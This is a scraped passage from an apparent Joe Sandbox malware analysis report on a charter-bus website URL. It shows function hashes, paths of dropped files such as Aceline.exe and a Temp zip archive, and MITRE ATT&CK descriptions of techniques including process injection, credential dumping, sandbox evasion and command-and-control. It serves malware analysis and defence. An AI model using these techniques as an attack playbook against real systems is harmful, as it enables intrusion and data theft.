Opcode ID: a397a61f5308852eaac32570f9d068f05b44afb094cadb2da30ede18158ea72c
Instruction ID: a42146df9cb72484a08d94e5bff77d25848d69224ca37c19bc0eda7e2fd04e3f
Opcode Fuzzy Hash: a397a61f5308852eaac32570f9d068f05b44afb094cadb2da30ede18158ea72c
Instruction Fuzzy Hash: EF411B70A08A494FD785EB3CC8556A9BBE1FF56310F5405FAC049DB2A7DA389C82CB50

Function 00007FF7B5401B79 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d96b455fd975070e01e376505557a46e6d4a1f840eb90e368975dbfb0b30cdcb
Instruction ID: 2341fa2a37103d2bf964089df953f65427f1e9fdd8c15a525a05290e644da5a5
Opcode Fuzzy Hash: d96b455fd975070e01e376505557a46e6d4a1f840eb90e368975dbfb0b30cdcb
Instruction Fuzzy Hash: 8251A17090DB898FDB86EB38C858A99BBF1FF56310F4901EAD049CB1A7DB349945CB11

Function 00007FF7B54054EE Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c4e2e5a2a64d8057b5f41e27b6bc4f7fdb0a3942803e52179126d6a3a93fc54
Instruction ID: cbef85546dda21630f9b0b93e97f1f6e8647cb8cebf6b9da86e827e3da58a995
Opcode Fuzzy Hash: 3c4e2e5a2a64d8057b5f41e27b6bc4f7fdb0a3942803e52179126d6a3a93fc54
Instruction Fuzzy Hash: 17412970A08A894FD786EB38C4556A9BBE1FF5A310F5405FAD049DB1A7DA389C82CB40

Function 00007FF7B5407C21 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4184287ce762a2a641f9edc93600405b1153c31c2d6a10dbcd9387e5437de049
Instruction ID: eb9bfa30b56f7c55790450527f7f14174bcebb763ad17ab70a5ce3825e40175e
Opcode Fuzzy Hash: 4184287ce762a2a641f9edc93600405b1153c31c2d6a10dbcd9387e5437de049
Instruction Fuzzy Hash: 8E41B23190CB488FDB58DB5CD8457E97BF1EBAA321F0442AFD049D3296CB756806CB82

Function 00007FF7B54054A3 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553243446aa28ef19e6b15e80c33483ffa360d46167401b976881bf3569c87d6
Instruction ID: b21bc53bbafded5339b1693645554022753f1693724fc7b229c060752945a461
Opcode Fuzzy Hash: 553243446aa28ef19e6b15e80c33483ffa360d46167401b976881bf3569c87d6
Instruction Fuzzy Hash: C4315CB1A0DA894FD345E73C84196A97BE1EF67310B6801BED089D72EBD93C48428761

Function 00007FF7B5402188 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01907b962f0a8addadfa4aee3aa0e50e3271a85884fb246bdee842e6ca295786
Instruction ID: 50e2d9b74251a585c1cddd4ab5dd147d84a3e2accc7e07b55f5533b3269d4c83
Opcode Fuzzy Hash: 01907b962f0a8addadfa4aee3aa0e50e3271a85884fb246bdee842e6ca295786
Instruction Fuzzy Hash: B741B5B1D0461E8FEF45EBA8C4446AEBBF1EF55310F6840A5D009E72A9DA34ED408B11

Non-executed Functions

Function 00007FF7B54004C0 Relevance: 5.4, Strings: 4, Instructions: 382COMMON

Download Yara Rule

Strings

=L_I, xrefs: 00007FF7B5400644
<L_I, xrefs: 00007FF7B5400744
>L_I, xrefs: 00007FF7B5400544
;L_I, xrefs: 00007FF7B5400844

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: ;L_I$<L_I$=L_I$>L_I
API String ID: 0-2931572294
Opcode ID: fc1e155de4d76c2d42e866577d2911790f18f04b421b0e022fa5b02c0681c2ae
Instruction ID: 5146c5a49ee974ae61f152bf6c1c6b8a0a60dc8bdc077bb40d054dd1481221e0
Opcode Fuzzy Hash: fc1e155de4d76c2d42e866577d2911790f18f04b421b0e022fa5b02c0681c2ae
Instruction Fuzzy Hash: E3D1EBA120FBC19FC316572D7428369FFA0FF532153A845EAC0994B19FCA74E92687C6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://gogocharters.com/lexington-charter-bus

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

AI Reasoning

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

HTML

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Aceline.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Aceline.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Aceline.exe

C:\Users\user\AppData\Local\Temp\VWSECTGEBPBA.zip

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5x22ncaj.brh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tao1ooin.vmo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tnept4w3.r24.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfm2vfh5.bva.ps1

Windows Analysis Report
http://gogocharters.com/lexington-charter-bus

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre